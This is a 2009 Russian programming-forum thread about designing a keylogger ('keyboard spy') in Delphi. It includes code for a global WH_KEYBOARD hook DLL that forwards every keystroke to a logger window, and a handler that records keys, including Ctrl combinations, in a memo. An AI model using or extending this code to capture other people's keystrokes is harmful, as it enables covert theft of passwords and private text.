Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 01.03.2009, 11:35   #1
Altera
Старожил
 
Аватар для Altera
 
Регистрация: 29.01.2008
Сообщений: 2,406
По умолчанию Структура клавиатурного шпиона.

Привет всем! Меня заинтриговал следующий вопрос: возможно-ли создание идеального клавиатурного шпиона?

Я вот думал, мы можем точно узнавать когда и какие клавиши нажимал юзер, но мы не можем так просто узнать, что именно они означают в том компоненте, которому адресуются сообщения.

И так, моё представление о клав. шпионе такое:
В хуке надо узнать handle компонента, которому адресовано сообщение. Ну, записать его в переменную, скажем, lastComp и одновременно в структуру, где будут содержаться хенделы всех тек компонентов, сообщения к которым мы перехватили. В той-же структуре будет содержаться текст каждого компонента. => Если придет handle который не будет равняться lastComp, то текст lastComp мы записываем в структуру. Ну и пишем:
lastComp := curComp // присланный handle
Только вот я не знаю, как организовать поиск хендела компонента в структуре всех хенделов, tStaringList что-ли юзать.

Ну воощем. А у вас какие предложения?
Altera вне форума Ответить с цитированием
Старый 02.03.2009, 07:31   #2
Altera
Старожил
 
Аватар для Altera
 
Регистрация: 29.01.2008
Сообщений: 2,406
По умолчанию

Ну ладно, если ни у кого нет идей, тогда я кое-что спрошу:
У меня такой код в dll: (WH_KEYBOARD)
Код:
function hook(code, wParam, lParam: cardinal): cardinal; stdCall;
var
wnd: tHandle;
scanCode: cardinal;
begin
   result := callNextHookEx(h, code, wParam, lParam);

   if CODE = HC_ACTION then
   if ((LParam or (1 shl 30)) <> LParam) then
   begin
      wnd := FindWindow('Tmain_form', '{5886F282-35B1-4E3A-B903-EBA5BFDAFA90}');
      GetKeyboardState(KeybrdState);
      scanCode := (LParam shr 16)and $FF;
      if ToAscii(WParam, ScanCode, KeybrdState, @Symbol, 0) > 0 then
         PostMessage(wnd, WM_USER + 1, ord(Symbol[0]), lParam)
      else
         PostMessage(wnd, WM_USER + 1, 0, lParam);
   end;
end;
Что меня интересует, это клавишесочитания Ctrl+*, где *, это любая клавиша на клавиатуре....

Вот кот обработчика:

Код:
//log - это у меня компонент tMemo;
procedure{ месседж }Tmain_form.klMes(var mes: tMessage);
label status;
const exception = [VK_SPACE, VK_CONTROL];
var
keyName: array [0..29] of char;
begin

   //log.Perform(WM_CHAR, mes.WParam, mes.LParam);

   if (mes.WParamLo <= 13) or (mes.WParamLo in exception) then
   begin
      GetKeyNameText(mes.LParam, KeyName, sizeof(KeyName));
      if KeyName[0] <> #0 then
         Perform('<'+KeyName+'>');
      goTo status;
   end;
   //log.Perform(WM_CHAR, mes.WParam, mes.LParam);
   Perform(chr(mes.WParamLo));

   status:
   edit.Text := 'wParam: '+intToStr(mes.WParam)+' wParamLo: '+
   intToStr(mes.WParamLo)+' wParamHi: '+
   intToStr(mes.WParamHi);
end;

procedure Tmain_form.perform(const value: string);
var
c: byte;
begin
   {for c := 1 to length(value) do
      lstrcat
      //log.Perform(WM_CHAR, ord(value[c]), 0); }
    buffer := buffer + value;
    log.Text := buffer;
end;
Так вот, вроде всё работает, но вот как мне записывать сочитания не <Ctrl><D> а <Ctrl+D> и т.д. Мало того. При таких клав. сочитаниях, как Ctrl+C, Ctrl+Z и т.д. Вообще пишеться <Ctrl>(квадратик, т.е. неопознанный символ) ...


Последний раз редактировалось Altera; 02.03.2009 в 07:34.
Altera вне форума Ответить с цитированием
Старый 02.03.2009, 09:09   #3
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
но мы не можем так просто узнать, что именно они означают в том компоненте, которому адресуются сообщения
Всмысле? Что именно тебе нужно узнать, какое действие будет в окне когда оно примет клавишу?
Цитата:
Вообще пишеться <Ctrl>(квадратик, т.е. неопознанный символ)
Ну логично, там же непечатаемый код. Такие нажатия нужно разделять, я точно не помню как, но я тут приводил пример выделения из ShortCut'a клавиши битовыми сдвигами.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 02.03.2009, 10:53   #4
Altera
Старожил
 
Аватар для Altera
 
Регистрация: 29.01.2008
Сообщений: 2,406
По умолчанию

Теперь сделал так:
Код:
procedure{ месседж }Tmain_form.klMes(var mes: tMessage);
label status;
label directPerfoming;
const exceptions1 = [VK_SPACE];
const exceptions2 = [22];
var
keyName: array [0..29] of char;
begin
   //log.Perform(WM_CHAR, mes.WParam, mes.LParam);

   if (mes.WParamLo <= 33) or (mes.WParamLo in exceptions1) then
   begin
      if mes.WParamLo in exceptions2 then goto directPerfoming;
      
      GetKeyNameText(mes.LParam, KeyName, sizeof(KeyName));
      if KeyName[0] <> #0 then

      Perform('<'+KeyName+'>');

      goTo status;
   end;
   directPerfoming:
   Perform(chr(mes.WParamLo));

   status:
   edit.Text := 'wParam: '+intToStr(mes.WParam)+' wParamLo: '+
   intToStr(mes.WParamLo)+' wParamHi: '+
   intToStr(mes.WParamHi);
end;

procedure Tmain_form.perform(const value: string);
var
c: byte;
begin
   for c := 1 to length(value) do
      log.Perform(WM_CHAR, ord(value[c]), 0);
    {buffer := buffer + value;
    log.Text := buffer;}
end;
Хочу, что бы Ctrl+V работало.... Может есть способ более корректно обходить?

Последний раз редактировалось Altera; 02.03.2009 в 11:07.
Altera вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
структура cr1mson Общие вопросы C/C++ 3 14.01.2009 18:08
S.O.S. Структура db-файла... anel1101 БД в Delphi 5 17.09.2008 15:52
как "вычислить" шпиона? roksalana Безопасность, Шифрование 42 06.09.2008 18:20
Структура файла Mayor Общие вопросы Delphi 1 11.08.2008 16:45
Помогите убрать программу-шпиона с компа _Avina_ Помощь студентам 3 05.05.2008 10:21